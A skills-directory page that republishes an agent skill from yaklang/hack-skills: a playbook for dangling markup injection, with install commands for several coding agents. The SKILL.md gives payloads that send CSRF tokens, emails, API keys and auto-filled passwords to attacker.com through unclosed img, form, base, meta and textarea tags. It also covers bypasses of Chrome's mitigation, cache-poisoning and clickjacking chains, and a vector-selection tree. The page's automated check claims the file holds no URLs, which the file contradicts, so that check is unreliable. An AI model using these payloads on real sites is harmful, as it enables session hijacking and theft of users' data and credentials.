Code Audit
3stoneBrother/code-audit
Professional code security audit skill covering 55+ vulnerability types.
Dangling markup injection playbook. An agent skill from yaklang/hack-skills.
$ npx skills add yaklang/hack-skills --skill dangling-markup-injection -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install yaklang/hack-skills dangling-markup-injection --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/dangling-markup-injection .claude/skills/dangling-markup-injection && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "dangling-markup-injection" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/dangling-markup-injection into .claude/skills/dangling-markup-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "dangling-markup-injection", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/yaklang/hack-skills/tree/main/skills/dangling-markup-injectionType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add yaklang/hack-skills --skill dangling-markup-injection -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install yaklang/hack-skills dangling-markup-injection --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/dangling-markup-injection .agents/skills/dangling-markup-injection && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "dangling-markup-injection" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/dangling-markup-injection into .agents/skills/dangling-markup-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "dangling-markup-injection", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add yaklang/hack-skills --skill dangling-markup-injection -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install yaklang/hack-skills dangling-markup-injection --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/dangling-markup-injection .cursor/skills/dangling-markup-injection && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "dangling-markup-injection" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/dangling-markup-injection into .cursor/skills/dangling-markup-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "dangling-markup-injection", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/yaklang/hack-skills.git --path skills/dangling-markup-injection--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add yaklang/hack-skills --skill dangling-markup-injection -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install yaklang/hack-skills dangling-markup-injection --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/dangling-markup-injection .gemini/skills/dangling-markup-injection && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "dangling-markup-injection" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/dangling-markup-injection into .gemini/skills/dangling-markup-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "dangling-markup-injection", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install yaklang/hack-skills dangling-markup-injectionInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add yaklang/hack-skills --skill dangling-markup-injection -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/dangling-markup-injection .github/skills/dangling-markup-injection && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "dangling-markup-injection" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/dangling-markup-injection into .github/skills/dangling-markup-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "dangling-markup-injection", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add yaklang/hack-skills --skill dangling-markup-injection -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install yaklang/hack-skills dangling-markup-injection --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/dangling-markup-injection .opencode/skills/dangling-markup-injection && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "dangling-markup-injection" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/dangling-markup-injection into .opencode/skills/dangling-markup-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "dangling-markup-injection", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
dangling-markup-injectionDangling markup injection playbook. An agent skill from yaklang/hack-skills.
Dangling Markup Injection is an agent skill from yaklang/hack-skills. Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture subsequent page content.
Its SKILL.md is about 3.3k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security, covering Web application vulnerabilities. It works with JavaScript. The repository describes itself as: Helping AI Agent become an awesome practical hacker! The licence is MIT.
11 steps, taken from the step headings in SKILL.md.
Read from SKILL.md and the folder at commit 6fbf0bc. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
No scripts in the folder and no shell commands in SKILL.md (its code samples are html).
From the folder's file list and the shell code blocks in SKILL.md.
No URLs in SKILL.md.
From URLs in SKILL.md, links to its own repository left out.
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Dangling Markup Injection loads about 3.3k tokens when it runs. Until then it costs about 81 tokens; SKILL.md has 1,095 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from yaklang/hack-skills at commit 6fbf0bc, republished under its MIT licence (© yaklang). 1,095 words, ~3,306 tokens.
.claude/skills/dangling-markup-injection/SKILL.md (or your agent's skills folder).AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
You need dangling markup when ALL of these are true:
<script>, onerror, onload, etc.Core insight: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.
Inject an unclosed HTML tag with a src, href, action, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.
Page before injection:
<div>Hello USER_INPUT</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="user@target.com">
</form>
Injected payload:
<img src="https://attacker.com/collect?
Resulting HTML:
<div>Hello <img src="https://attacker.com/collect?</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="user@target.com">
</form>
...rest of page until next matching quote (")...The browser interprets everything from https://attacker.com/collect? until the next " as the URL. The hidden CSRF token and email value become part of the URL query string sent to attacker.com.
<!-- Double-quote context -->
<img src="https://attacker.com/collect?
<!-- Single-quote context -->
<img src='https://attacker.com/collect?
<!-- Backtick context (IE only, legacy) -->
<img src=`https://attacker.com/collect?The browser sends a GET request to attacker.com with all consumed content as query parameters.
Blocked by: img-src CSP directive
<form action="https://attacker.com/collect">
<button>Click to continue</button>
<!--If the page has form elements after the injection point, the next </form> closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.
Blocked by: form-action CSP directive
Trick: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.
<base href="https://attacker.com/">All subsequent relative URLs on the page resolve to attacker's server:
<script src="/js/app.js"> → loads https://attacker.com/js/app.js<a href="/profile"> → links to https://attacker.com/profile<form action="/submit"> → submits to https://attacker.com/submitBlocked by: base-uri CSP directive
<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?Redirects the entire page to attacker's server with consumed page content in the URL.
Blocked by: navigate-to CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.
<link rel="stylesheet" href="https://attacker.com/collect?Browser requests the URL as a CSS resource, leaking consumed content.
Blocked by: style-src CSP directive
<table background="https://attacker.com/collect?Works in older browsers that support the background attribute on table elements.
Blocked by: img-src CSP directive
<video poster="https://attacker.com/collect?
<audio src="https://attacker.com/collect?Blocked by: media-src / img-src CSP directives
| Target Data | How It Appears in Page | Steal Technique |
|---|---|---|
| CSRF token | <input type="hidden" name="csrf" value="..."> | Dangling <img src= before the form |
| Pre-filled email | <input value="user@example.com"> | Dangling tag before the input |
| API keys in page | var apiKey = "sk-..." in inline script | Dangling tag before the script block |
| Session ID in hidden field | <input name="session" value="..."> | Dangling tag before the form |
| Auto-filled passwords | Browser auto-fills password field | <form action=attacker> with matching input names |
| OAuth state/tokens | In URL parameters or hidden form fields | Dangling tag on authorization page |
| Internal URLs/paths | Links, script sources, API endpoints | <base> tag hijack captures all relative URLs |
| Browser | Behavior |
|---|---|
| Chrome/Chromium | Blocks dangling markup in <img> src containing < or newlines (since Chrome 60). Still allows <form action>, <base>, <link>. |
| Firefox | More permissive with dangling markup in image sources. Allows newlines in attribute values. |
| Safari | Similar to Chrome's restrictions. May handle some edge cases differently. |
| Edge (Chromium) | Same as Chrome behavior. |
Chrome blocks navigation/resource load when the URL attribute value contains:
< character (indicates HTML tag consumption)\n, \r)Bypass: Use <form action> instead of <img src> — Chrome's block only targets specific tags.
Choose quote type strategically: if page uses " for attributes, inject with ' (and vice versa) to precisely control where consumption stops.
<form action="https://attacker.com/collect"><textarea name="data"> — unclosed textarea eats all subsequent HTML as plaintext; form submission sends it to attacker.
<!-- without closing --> consumes all content (no exfil, but hides page content)<style> unclosed treats page as CSS; combine with @import url("https://attacker.com/? for exfil<iframe src="https://target.com/page" name=" — name attribute consumes content, and window.name persists across origins after navigation.
| Limitation | Detail |
|---|---|
| Same-origin content only | Dangling markup only captures content from the same HTTP response |
| Quote matching | Consumption stops at the next matching quote character — may not reach target data |
| CSP img-src/form-action | Strict CSP can block most exfiltration vectors |
| Chrome's dangling markup mitigation | Blocks <img src= with < or newlines in URL |
| Injection point must be before target data | Can only capture content that appears after the injection in HTML source order |
| Content encoding | URL-unsafe characters in captured content may be mangled |
1. Inject <img src="https://target.com/redirect?url=https://attacker.com/collect?
2. Open redirect on target.com makes the request "same-origin" for some CSP checks
3. Redirect sends captured data to attacker1. Find reflected HTML injection point
2. Inject dangling markup payload
3. If response is cached, ALL users see the dangling markup
4. Tokens/data from all victims exfiltratedThis turns a reflected injection into a stored/persistent attack.
1. Use dangling markup to steal CSRF token from page
2. Use stolen token to perform CSRF attack
3. Allows CSRF even when tokens are properly implemented1. Inject <form action="https://attacker.com/collect"><textarea name="data">
2. Frame the page (if frame-ancestors allows)
3. Trick user into clicking "Submit" via clickjacking overlay
4. Form submits all captured page content to attackerHTML injection exists but XSS is blocked (CSP/sanitizer/WAF)?
│
├── Identify injection context
│ ├── Inside attribute value? → Break out first: "><img src="https://attacker.com/collect?
│ ├── Inside tag content? → Inject directly: <img src="https://attacker.com/collect?
│ └── Inside script block? → Close script first: </script><img src="...
│
├── What sensitive data exists AFTER injection point?
│ ├── CSRF tokens → HIGH VALUE: steal token → CSRF attack
│ ├── User PII (email, name) → data theft
│ ├── API keys / secrets → account compromise
│ ├── No sensitive data after injection → dangling markup not useful here
│ └── Check different pages — injection may be on a page with sensitive data
│
├── Choose exfiltration vector based on CSP
│ ├── No CSP / lax CSP → <img src="... (simplest)
│ ├── img-src restricted?
│ │ ├── form-action unrestricted? → <form action="attacker"><textarea name=d>
│ │ ├── base-uri unrestricted? → <base href="attacker">
│ │ └── style-src unrestricted? → <link rel=stylesheet href="...
│ ├── Strict CSP on all directives?
│ │ ├── meta refresh? → <meta http-equiv="refresh" content="0;url=attacker?
│ │ ├── DNS prefetch? → <link rel=dns-prefetch href="//data.attacker.com">
│ │ └── Window.name via iframe? → <iframe name="...
│ └── Nothing works? → dangling markup blocked, try other approaches
│
├── Handle Chrome's dangling markup mitigation
│ ├── Target uses Chrome? → Avoid <img src= with < or newlines
│ ├── Use <form action=> instead (not blocked)
│ ├── Use <base href=> (not blocked)
│ └── Test in Firefox as fallback (more permissive)
│
├── Choose quote type for maximum capture
│ ├── Target data uses double quotes? → Inject with single quote: <img src='...
│ ├── Target data uses single quotes? → Inject with double quote: <img src="...
│ └── Mixed quotes? → Test both, see which captures more useful data
│
└── Amplification
├── Response cached? → Poison cache → steal from multiple victims
├── Stored injection? → Every page view exfiltrates
└── Reflected only? → Deliver via phishing link<img src= is mitigated, but <form action=, <base href=, <meta http-equiv=refresh> are NOT. Always try alternative vectors." for attributes, inject with ' (or vice versa) to control exactly where consumption stops. Wrong quote type = capturing useless content or nothing.<textarea> is the most underrated vector: An unclosed textarea eats ALL subsequent HTML as plaintext. Combined with form action hijack, it's the most reliable method when img-src is restricted.name attribute technique is powerful because window.name survives cross-origin navigation — a rare cross-origin data channel.<link rel=dns-prefetch href="//stolen-data.attacker.com"> triggers a DNS lookup that CSP cannot block. Limited to ~253 characters per label, but sufficient for tokens.© yaklang, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in skills/dangling-markup-injection of yaklang/hack-skills.
Open the folder on GitHubat commit 6fbf0bc
Dangling Markup Injection next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Dangling Markup Injection this skillyaklang/hack-skills | 2.4k | — | ~3.3k | Automated safety check: Pass | MIT | |
| Code Audit3stoneBrother/code-audit | 892 | 1 repos | ~2.7k | Automated safety check: Pass | None | |
| Security Verification Gatefengshao1227/ccg-workflow | 5.9k | — | ~621 | Automated safety check: Notes | MIT | |
| Taint Instrumentation AssistantArabelaTso/Skills-4-SE | 253 | — | ~2.9k | Automated safety check: Pass | Apache-2.0 | |
| Security Reviewgithub/awesome-copilot | 40k | 1 repos | ~2.3k | Automated safety check: Notes | MIT | |
| Exploiting Prototype Pollution In Javascriptmukul975/Anthropic-Cybersecurity-Skills | 34k | — | ~2.3k | Automated safety check: Pass | Apache-2.0 |
3stoneBrother/code-audit
Professional code security audit skill covering 55+ vulnerability types.
fengshao1227/ccg-workflow
Scans code with a bundled Node script for injection, secrets, XSS and other risky patterns, ranks findings by severity and checks that security decisions are documented.
ArabelaTso/Skills-4-SE
Instruments code to track the flow of untrusted or sensitive data at runtime, enabling detection of injection vulnerabilities, data leaks, and privilege violations.
github/awesome-copilot
AI-powered codebase security scanner that reasons about code like a security researcher — tracing data flows, understanding component interactions, and catching vulnerabilities that pattern-matching…
mukul975/Anthropic-Cybersecurity-Skills
Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RCE, or authentication bypass through property injection…
aiskillstore/marketplace
You are a frontend security specialist focusing on Cross-Site Scripting (XSS) vulnerability detection and prevention.
yaklang/hack-skills
Anti-debugging detection and bypass playbook. An agent skill from yaklang/hack-skills.
yaklang/hack-skills
API authentication and JWT abuse playbook. An agent skill from yaklang/hack-skills.
yaklang/hack-skills
API authorization and BOLA testing playbook. An agent skill from yaklang/hack-skills.
yaklang/hack-skills
API reconnaissance and documentation review playbook. An agent skill from yaklang/hack-skills.
yaklang/hack-skills
Draw a testable attack surface from one authorized target URL or one application.
yaklang/hack-skills
Classical cipher analysis playbook. An agent skill from yaklang/hack-skills.
Works with
Categories
Dangling markup injection playbook. An agent skill from yaklang/hack-skills. Dangling Markup Injection is an agent skill from yaklang/hack-skills. Dangling markup injection playbook.
Dangling Markup Injection fits situations like: HTML injection is possible but JavaScript execution is blocked (CSP; sanitizer strips event handlers; WAF blocks script tags) — exfiltrate CSRF tokens; page content by injecting unclosed HTML tags that capture subsequent page content.
Run `npx skills add yaklang/hack-skills --skill dangling-markup-injection -a claude-code`. Or copy the skill folder (skills/dangling-markup-injection in yaklang/hack-skills) into .claude/skills/dangling-markup-injection in your project. Claude Code loads it when a task matches its description.
Run `npx skills add yaklang/hack-skills --skill dangling-markup-injection -a codex`. Or copy the skill folder (skills/dangling-markup-injection in yaklang/hack-skills) into .agents/skills/dangling-markup-injection in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add yaklang/hack-skills --skill dangling-markup-injection -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/dangling-markup-injection, .gemini/skills/dangling-markup-injection, .github/skills/dangling-markup-injection and .opencode/skills/dangling-markup-injection in your project.
SKILL.md names no scripts, command-line tools or credentials: Dangling Markup Injection is instructions for the agent only.
SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
Dangling Markup Injection is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
About 3.3k tokens (SKILL.md is roughly 13k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Dangling Markup Injection: Code Audit (3stoneBrother/code-audit, 892 stars), Security Verification Gate (fengshao1227/ccg-workflow, 5.9k stars), Taint Instrumentation Assistant (ArabelaTso/Skills-4-SE, 253 stars) and Security Review (github/awesome-copilot, 40k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
yaklang (a GitHub organization) maintains it in yaklang/hack-skills, which has 2,409 GitHub stars. The repository holds 27 skills in this directory. The repository was last updated on September 13, 2026.
Source: yaklang/hack-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.